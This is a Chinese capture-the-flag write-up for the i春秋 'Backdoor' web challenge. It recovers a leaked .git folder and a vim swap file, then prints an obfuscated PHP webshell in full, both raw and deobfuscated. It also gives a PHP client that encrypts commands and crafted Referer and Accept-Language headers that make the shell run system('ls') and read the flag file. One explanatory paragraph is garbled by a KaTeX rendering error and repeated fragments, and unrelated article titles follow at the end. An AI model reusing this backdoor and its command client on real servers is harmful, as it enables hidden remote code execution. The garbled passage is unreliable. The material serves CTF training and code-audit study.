1、文件泄露

根据题目 tips:敏感文件泄漏
网站目录扫描,发现.git泄露,下载git文件夹,在bd049e_flag.php中看到:

<?php
echo "flag{true_flag_is_in_the_b4ckdo0r.php}";
?>

然后就访问这个网页看到:

是让我们找他的源码的,网页源码里面没什么线索,那就可能是备份文件泄露了,访问.b4ckdo0r.php.swo,果然得到了备份文件,然后就是用vim恢复了。

恢复方法:在b4ckdo0r.php.swo同一文件夹下,使用命令vim -r b4ckdo0r.php,然后进入了vim编辑界面,命令wq!即可保存下来恢复的文件:

<?php
echo "can you find the source code of me?";
/*** Signature For Report*/$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/**/$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/**/$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/**/$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/**/$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/**/$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/**/$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/**/$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/**/$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/**/$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/**/$y=str_replace('b','','crbebbabte_funcbbtion');/**/$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/**/$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/**/$v=$y('',$L);$v();/**/echo($L);//这一句是为了得到$L加上去的,恢复得到的文件中并没有
?>

然后把得到的$L代码规范化一下得到(里面有一些我的注释):

<?php
$kh = "4f7f";
$kf = "28d7";
function x($t, $k)
{$c = strlen($k);$l = strlen($t);$o = "";for ($i = 0; $i < $l; ) {for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {$o .= $t{$i} ^ $k{$j};}}return $o;
}
$r  = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {$u = parse_url($rr);parse_str($u["query"], $q);$q = array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);if ($q && $m) {@session_start();$s =& $_SESSION;$ss = "substr";$sl = "strtolower";$i  = $m[1][0] . $m[1][1]; //zz$h  = $sl($ss(md5($i . $kh), 0, 3)); //675$f  = $sl($ss(md5($i . $kf), 0, 3)); //a3e$p  = "";for ($z = 1; $z < count($m[1]); $z++)$p .= $q[$m[2][$z]];   //if (strpos($p, $h) === 0) {//$s[$i] = "";$p     = $ss($p, 3);}if (array_key_exists($i, $s)) {$s[$i] .= $p;$e = strpos($s[$i], $f);if ($e) {$k = $kh . $kf;  //4f7f28d7ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"), array("/","+"), $ss($s[$i], 0, $e))), $k)));$o = ob_get_contents();ob_end_clean();$d = base64_encode(x(gzcompress($o), $k));print("<$k>$d</$k>");x@session_destroy();}}}
}
?>

2、代码审计

然后仔细审计这段代码,首先找可利用点,可利用点在eval()这里,可以利用其参数来执行php语句。

 $u = parse_url($rr);parse_str($u["query"], $q);$q = array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);

这一段代码,parse_url()是把HTTP_REFERER存储到数组里面,详情参考:https://php.net/manual/en/function.parse-url.php,而KaTeX parse error: Expected 'EOF', got '&' at position 38: …链接中传递的参数,例如?a=1&̲b=2,而parse_str(u[“query”], q)是把q)是把q)是把u[“query”]存为数组,即是[a]=>1,[b]=>2;array_values($q)是把键值去掉,作用后变成[1]=>1,[2]=>2,原来的键值a和b被删除,也就是说,经过这三条语句,最后是把referer中的传参的内容组成了一个数组。

preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, m);这个正则有点麻烦,把m);这个正则有点麻烦,把m);这个正则有点麻烦,把ra(ACCEPT_LANGUAGE)经过正则表达式后赋给$m,我们可以在自己电脑的php环境上看下结果,我这样写段代码:

 <?php
$ra = 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2';
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
print_r($m);
?>
语言格式为“ 语言;q=权重 ”
运行结果:Array ( [0] => Array ( [0] => zh-CN, [1] => zh;q=0.8, [2] => zh-TW;q=0.7, [3] => zh-HK;q=0.5, [4] => en-US;q=0.3, [5] => en;q=0.2 ) [1] => Array ( [0] => z [1] => z [2] => z [3] => z [4] => e [5] => e ) [2] => Array ( [0] => [1] => 8 [2] => 7 [3] => 5 [4] => 3 [5] => 2 ) )

这样这个正则的作用就很清晰了。

$i  = $m[1][0] . $m[1][1]; //$i == zz  这几个都简单
$h  = $sl($ss(md5($i . $kh), 0, 3)); //$h == 675
$f  = $sl($ss(md5($i . $kf), 0, 3)); //$f == a3e
//-------------------------------------
//这里是按照$m[2][$z]把$q中的部分给$p
for ($z = 1; $z < count($m[1]); $z++)$p .= $q[$m[2][$z]];

其余的代码就很简单了,ACCEPT_LANGUAGE和REFERER我们是可以抓包修改的,可以适当修改来使eval执行命令。

3、eval执行system()函数

eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"), array("/","+"), $ss($s[$i], 0, $e))), $k)));

假如让eval执行system(‘ls’)

<?php
function x($t, $k)
{$c = strlen($k);$l = strlen($t);$o = "";for ($i = 0; $i < $l; ) {for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {$o .= $t{$i} ^ $k{$j};}}return $o;
}function result($re, $k){echo(gzuncompress(x(base64_decode($re), $k)));echo('<br>');
}
function Command($com, $k){echo(base64_encode(x(gzcompress($com), $k)));echo('<br>');
}$k = '4f7f28d7';
$com = 'system("ls");';
//$r = 'TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT';//系统的相应
Command($com, $k);
//result($r, $k);
?>
运行结果:TPocyB4WLfrhNv1PZOrQMTREimJn

然后我们抓包修改language和referer:

Accept-Language: zh-CN,zh;q=0.0

Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNv1PZOrQMTREimJna3e

改为这样是为了执行TPocyB4WLfrhNv1PZOrQMTREimJn,跟着代码想下就明白了。

然后从响应头得到:
TPp8VHv2Kv4DTuVN+hCEff8ve2EBCpdlZk33ypDEwMumBIr0uCrKpbiq1Z5+6xyPHma96ydT

前面写的result函数就是来解密得到的字符串的,运行一下得到:
b4ckdo0r.php
flag.php
index.php
robots.txt
this_i5_flag.php

然后再构造个system(‘cat this_i5_flag.php’)的命令进行执行,即可拿到flag。

i春秋web-Backdoor(.git泄露、vim备份泄露、代码审计)相关推荐

  1. day07 资产泄露CMS识别Git监控SVNDS_Store备份

    前言 #知识点: CMS指纹识别源码获取方式 习惯&配置&特性等获取方式 3.托管资产平台资源搜索监控 #详细点: 参考:https://www.secpulse.com/archiv ...

  2. 【web渗透思路】敏感信息泄露(网站+用户+服务器)

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  3. Cygwin安装GCC、G++、Python、git、vim教程

    百度百科: Cygwin是一个在windows平台上运行的类UNIX模拟环境,是cygnus solutions公司开发的自由软件(该公司开发的著名工具还有eCos,不过现已被Redhat收购).它对 ...

  4. git 和 vim 学习笔记

    在学校的时候,也断断续续的用过 git和 vim,断断续续的原因是学校的网络对 github 支持不是很好,有时候会打不开,所以,用来对代码进行版本管理就不太合适了.所以,对 git 和 vim 的命 ...

  5. i春秋 WEB 象棋

    i春秋 WEB 象棋 一天一道CTF题目,能多不能少 打开页面,一副象棋映入眼帘,玩了一会,,,太菜了,打不过人机,,,: 打开网页源代码,仔细查看一番,发现有一处CTF的字样~~: 这个正则表达式嘛 ...

  6. i春秋 WEB fuzzing

    i春秋 WEB fuzzing 一天一道CTF题目,能多不能少 打开网页发现there is nothing,最后一通折腾什么都没有,最后进行抓包,得到提示: 按照提示应该是要构造ip,使用X-For ...

  7. i春秋 WEB Login

    i春秋 WEB Login 一天一道CTF题目,能多不能少 打开网页,发现登录,查看源代码,发现疑似账号密码的东西~: 登录,发现什么都没有,源码也没有什么~: 既然如此就抓包吧,bp启动: 发现一个 ...

  8. i春秋 WEB 123

    i春秋 WEB 123 一天一道CTF题目,能多不能少 打开网页一个登录框,按照惯例查看网页源代码,有所发现: 查看user.php,发现存在但是什么都没有,检查是否存在备份文件~ 发现存在: 下载打 ...

  9. i春秋 WEB GetFlag

    i春秋 WEB GetFlag 一天一道CTF题目,能多不能少 打开网页,点击login来到登陆页面: 发现验证码是截取MD5的验证:substr(md5(captcha), 0, 6)=3aab4a ...

  10. 玩转Zynq连载10——使用GIT进行工程备份和版本管理2

    特权同学玩转Zynq连载10--使用GIT进行工程备份和版本管理2 2 使用GIT进行日常备份管理 2.1 GIT的基本工作原理 通过下面几个图解,希望大家能理解GIT做备份管理的机理. 使用GIT备 ...

最新文章

  1. 从入门到放弃的javaScrip——队列
  2. Java企业微信开发_00_源码及资源汇总贴
  3. 读“深度学习在图像处理领域中的应用综述”有感
  4. #软件配置管理#之坏味道搜集
  5. OpenCV Aruco模块常见问题解答
  6. spring boot jar包_「Spring Boot 新特性」 jar 大小自动瘦身
  7. Spark in action on Kubernetes - 存储篇(一)
  8. 【渗透】浅谈webshell隐藏
  9. 中国专利电子申请网CPC客户端的安装教程
  10. 电脑重启桌面 计算机图标消失,电脑重启桌面图标不见了怎么办
  11. mysql数据库学习(一)
  12. 室内 Beacon定位室外 GPS 定位 大型场馆融合定位方案
  13. 金融计量模型(十一):对波动率和相关性建模
  14. Vue父传子详细教程
  15. CS1061号错误是什么
  16. FreeSWITCH权威指南 -- 1.PSTN与VoIP基础(笔记)
  17. 判断一个数是否为Sky数
  18. PNG转YUV(自造轮子版)
  19. 北航ccf计算机软件能证排名前18%,CCF成功举办第十一次CCF CSP认证
  20. 济南市支取公积金办理流程

热门文章

  1. OpenCv图像处理之Mat类使用
  2. Gerrit error:remote: ERROR: The following addresses are currently registered:XXX
  3. 看小伙是怎么发现CSDN前10大佬之间的关系的
  4. golang:模拟http post请求
  5. 拥抱变化的 2015
  6. 推荐几个查找英语单词缩写的网站
  7. LaTeX插入视频示例
  8. 地理信息系统和计算机系统的区别,GIS与其他信息系统的区别
  9. icem密度盒怎么设置_使用ICEM绘制非结构网格时,如何提高网格质量?
  10. matlab处理矩阵的一些简易操作和画图的一些小技巧